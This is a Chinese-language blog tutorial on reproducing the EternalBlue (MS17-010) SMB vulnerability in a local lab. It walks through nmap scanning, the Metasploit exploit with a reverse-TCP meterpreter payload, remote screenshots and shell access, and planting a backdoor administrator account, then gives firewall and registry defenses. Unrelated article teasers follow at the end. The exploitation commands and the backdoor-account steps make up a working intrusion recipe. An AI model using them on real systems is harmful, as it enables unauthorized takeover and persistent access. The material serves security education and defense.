EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!
漏洞背景:
1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3. SMB工作原理是什么?
- 首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
- 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
- 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
- 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
准备工作:
虚拟机:VMware
靶机(rhost):Windows7 (IP:192.168.244.133)
攻击机(lhost):Kali (IP:192.168.244.136)
所需工具:nmap、metasploit(MSF) 【工具均在Kali系统内】
漏洞复现过程:
主机发现
关闭防火墙和杀软
靶机关闭防火墙杀软等一切防御信息 否则nmap扫描不到
防火墙关闭路径
控制面板->系统和安全->Windows 防火墙

查看攻击机与靶机IP信息
查看攻击机与靶机的IP信息
攻击机:终端模拟器->ifconfig
靶机:win->cmd->ipconfig


进行Ping通测试
进行ping通测试
Kali使用CTRL+C快捷键进行终止命令进行


和上面两张图片一样结果的都表示Ping通成功
扫描存活主机以及开放端口
使用nmap扫描工具对目标机网段进行存活主机扫描以及靶机的445端口是否开放


可以看出目标机存活并且445端口为开放状态
入侵过程
开启postgresql数据库服务
以下命令均在Kali攻击机root终端进行!
开启
service postgresql start
查看是否开启
service postgresql status
此状态表示开启成功
初始化metasploit postgresql数据库
初始化
msfdb init
此状态表示初始化成功
启动MSF框架
Kali root终端输入
msfconsole
此状态表示进入MSF框架成功
利用探测漏洞模块
db_status #查看是否进入MSF攻击服务
search ms17_010 #查找探测模块
use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块
show options #查看配置参数
set rhost 192.168.244.133/32 #设置探测主机段
set threads 20 #设置探测线程
run/exploit #执行探测


探测出likely表示可能存在漏洞!
利用永恒之蓝模块
use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞
set rhost 192.168.244.133 #设置攻击目标IP
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(木马信息)
set lhost 192.168.244.136 #设置监听主机IP
set lpost 445 #设置监听端口
run/exploit #执行攻击

运行成功后会出现meterpreter>
Meterpreter俗称"黑客瑞士军刀"
想要深入了解可以看以下内容
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道,以便远程执行命令。
Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。
Meterpreter还可以简化任务创建多个会话,利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。此外,Meterpreter还支持Ruby脚本形式的扩展。
远程查看靶机信息和捕捉屏幕
sysinfo #查看靶机系统信息
getuid #查看靶机用户身份
screenshot #对靶机当前屏幕进行截图

需要注意的是最后一部屏幕截图保存到了根目录下
根目录下受权限保护可能查看不了图片
解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法
cp EoiLSMEC.jpeg '/home/kali/桌面/flag1.png' 


进入靶机控制台
shell #进入靶机cmd终端
成功进入靶机C:\Windows\system32路径下
对靶机进行后门植入
#创建新管理员用户
net user baimao 123 /add
#将baimao用户加入到本地管理员组当中
net localgroup administrators baimao /add
#查看本地管理员组当中的用户成员
net localgroup administrators
#查看此路径下的所有文件和目录
dir

与图片中信息相同就代表后门植入成功
exit可以退回meterpreter路径下
查看靶机当前用户
whoami
创建文件夹
mkdir baimao


exit可以退出MSF框架
如何防御
开启防火墙
防火墙开启路径
控制面板->系统和安全->Windows 防火墙



禁用靶机139和445端口
查看靶机445端口是否开启
netstat -ant
可以看到445端口是开启状态
禁用靶机445端口路径
控制面板->系统和安全->Windows 防火墙








禁用server服务
win+r 运行
输入services.msc

关闭不必要的服务
关闭服务路径
控制面板->系统和安全->Windows 防火墙


根据需要可以选择关闭与否
注册表关闭445端口
win+r 运行
输入regedit进入注册表
找到此注册表路径
根据自己系统位数进行修改64位就选择QWORD
HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters

重命名为SMBDeviceEnabled

右键->修改->数值数据的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

重启之后查看445端口是否关闭!

可以看到445端口已经不见了!
安装杀毒软件
360安全卫士与火绒安全软件成功阻止了永恒之蓝!
大家想要了解的,可以参考下!
360安全卫士和火绒安全软件都是知名的电脑安全软件,具有多种防护功能。
360安全卫士是一款全面而高效的电脑安全防护软件,它拥有强大的查杀能力,可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时,它还提供了多种实用的功能,如实时监控、木马查杀、漏洞修复等,可以帮助用户保护电脑安全,提高使用体验。
火绒安全软件则是一款以防护为主打功能的电脑安全软件,它拥有自主知识产权的新一代反病毒引擎,能够检测和分析恶意程序,提供全面的防护功能。此外,火绒安全软件还拥有钩子扫描功能,可以快速扫描指定进程,发现潜在的安全风险。
最后总结
2017年永恒之蓝漏洞,编号为ms17_010漏洞。
现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
虽然如此,此漏洞非常经典,现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。
让大家可以对网络安全更加重视,网络安全刻不容缓,让我们为国家网络安全的建设共同努力!
相关文章:
EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!
漏洞背景: 1.何为永恒之蓝? 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子…...
长链接与在线文件
什么是在线文件 常见的聊天工具,比如。。。微信,你可以发送一个文件给对端,即使对端不在线,这个文件也可以暂存在服务器上面,直到接收端上线消费或者超时,这个叫离线文件。与之对应的,在线文件要…...
Python内置数据类型等入门语(句)法
内置数据类型 数字(Number)关键字: int 、float、complex字符串(String)关键字:单引号,双引号 三引号都可以表示,8 种内置类型都可转为字符串类型列表(List) 关键符号 […...
ElasticSearch之RestClient笔记
1. ElasticSearch 1.1 倒排索引 1.2 ElasticSearch和Mysql对比 1.3 RestClient操作 导入依赖 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId><version>7.15.…...
饥荒Mod 开发(二二):显示物品信息
饥荒Mod 开发(二一):超大便携背包,超大物品栏,永久保鲜 饥荒Mod 开发(二三):显示物品栏详细信息 饥荒中的物品没有详细信息,基本上只有一个名字,所以很多物品的功能都不知道,比如浆果吃了也不知…...
Microsoft Edge使用方法和心得
Microsoft Edge使用方法和心得 大家好,我是豪哥,一名来自杭州的Java程序员,今天我想分享一下我对Microsoft Edge的使用方法和心得。作为一名热爱编程的程序员,我发现一个高效的浏览器对于我们的工作和学习至关重要。而Microsoft …...
Kafka操作指令笔记
查堆积用命令查: ./kafka-consumer-groups.sh --bootstrap-server {kafka集群地址} --describe --group {消费组名称}bin/kafka-consumer-groups.sh --bootstrap-server localhost:9092 --describe --all-groups #查看所有组别的积压情况可以通过grep、awk或其他文…...
WAVE SUMMIT+ 2023倒计时2天,传文心一言将曝最新进展!
传文心一言将曝最新进展! 亮点一:趋势引领,“扛把子”文心一言将曝新进展亮点二:干货十足,硬核低门槛开发秘籍大放送亮点三:蓄势待发,大模型赋能产业正当时亮点四:群星闪耀ÿ…...
Crow:Middlewares 庖丁解牛5 context
Crow:Middlewares 庖丁解牛4 partial_context-CSDN博客 基于partial_context再来解释context namespace detail {template<typename... Middlewares>struct partial_context : public pop_back<Middlewares...>::template rebind<partial_context>, public…...
CentOS 7 设置网络
CentOS 7 设置网络 正常情况 ①登陆进去之后使用下面的命令修改文件 echo ONBOOTyes >> /etc/sysconfig/network-scripts/ifcfg-ens33②如果是虚拟机重启后使用如下命令进行查看IP地址 ip addr注:到这里如果显示有两部分,则代表网络设置成功&a…...
装饰器模式(Decorator)
装饰器模式(Decorator Pattern)是一种结构型设计模式,用于动态地给一个对象添加额外的职责。装饰器提供了一个灵活的替代扩展功能的方案,相比继承更加灵活。 在Java中,装饰器模式通常涉及以下几个部分: 组件(Component):定义一个对象接口,可以给这些对象动态添加职责…...
关于“Python”的核心知识点整理大全34
目录 第13 章 外星人 13.1 回顾项目 game_functions.py 13.2 创建第一个外星人 13.2.1 创建 Alien 类 alien.py 13.2.2 创建 Alien 实例 alien_invasion.py 13.2.3 让外星人出现在屏幕上 game_functions.py 13.3 创建一群外星人 13.3.1 确定一行可容纳…...
设计模式--抽象工厂模式
实验4:抽象工厂模式 本次实验属于模仿型实验,通过本次实验学生将掌握以下内容: 1、理解抽象工厂模式的动机,掌握该模式的结构; 2、能够利用抽象工厂模式解决实际问题。 [实验任务]:人与肤色 使用抽象…...
浅析海博深造
文章目录 深造作用 留学种类 选专业 择校 申请流程 申请方式 深造作用 1、个人能力提升(学术专业、语言、新文化或新生活方式) 2、更好的职业发展(起点更高、结交新朋友或扩大社交圈) 3、北京上海落户优惠 4、海外居留福…...
【Hive_05】企业调优1(资源配置、explain、join优化)
1、 计算资源配置1.1 Yarn资源配置1.2 MapReduce资源配置 2、 Explain查看执行计划(重点)2.1 Explain执行计划概述2.2 基本语法2.3 案例实操 3、分组聚合优化3.1 优化说明(1)map-side 聚合相关的参数 3.2 优化案例 4、join优化4.1…...
synchronized
⭐ 作者:小胡_不糊涂 🌱 作者主页:小胡_不糊涂的个人主页 📀 收录专栏:JavaEE 💖 持续更文,关注博主少走弯路,谢谢大家支持 💖 synchronized 1. 特性1.1 互斥1.2 可重入 …...
Vue在页面上添加水印
第一步:在自己的项目里创建一个js文件;如图所示我在在watermark文件中创建了一个名为waterMark.js文件。 waterMark.js /** 水印添加方法 */ let setWatermark (str1, str2) > {let id 1.23452384164.123412415if (document.getElementById(id) …...
SQL server 数据库练习题及答案(练习2)
使用你的名字创建一个数据库 创建表: 数据库中有三张表,分别为student,course,SC(即学生表,课程表,选课表) 问题: --1.分别查询学生表和学生修课表中的全部数据。--2.查询成绩在70到80分之间…...
minicube搭建golang容器服务
引言 最近在自己电脑上搭建一个小型k8s环境,以学习云原生相关内容。这里我主要分为三部分记录: 容器及容器编排理论环境安装相关rpcx服务实战 还在调试中,先总结整理下,这里后续补充上我的github工程链接。 一、容器及容器编排理…...
图片批量处理:图片批量缩放,高效调整尺寸的技巧
在数字媒体时代,图片处理已是日常生活和工作中不可或缺的一部分。有时候要批量处理图片,如缩放图片尺寸,以满足不同的应用需求。现在一起来看看办公提效式具如何高效的将图片批量处理方法,快速、准确地批量调整图片尺寸操作。 下…...
React第五十七节 Router中RouterProvider使用详解及注意事项
前言 在 React Router v6.4 中,RouterProvider 是一个核心组件,用于提供基于数据路由(data routers)的新型路由方案。 它替代了传统的 <BrowserRouter>,支持更强大的数据加载和操作功能(如 loader 和…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...
如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...
深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
华为OD机考-机房布局
import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…...
Caliper 负载(Workload)详细解析
Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...
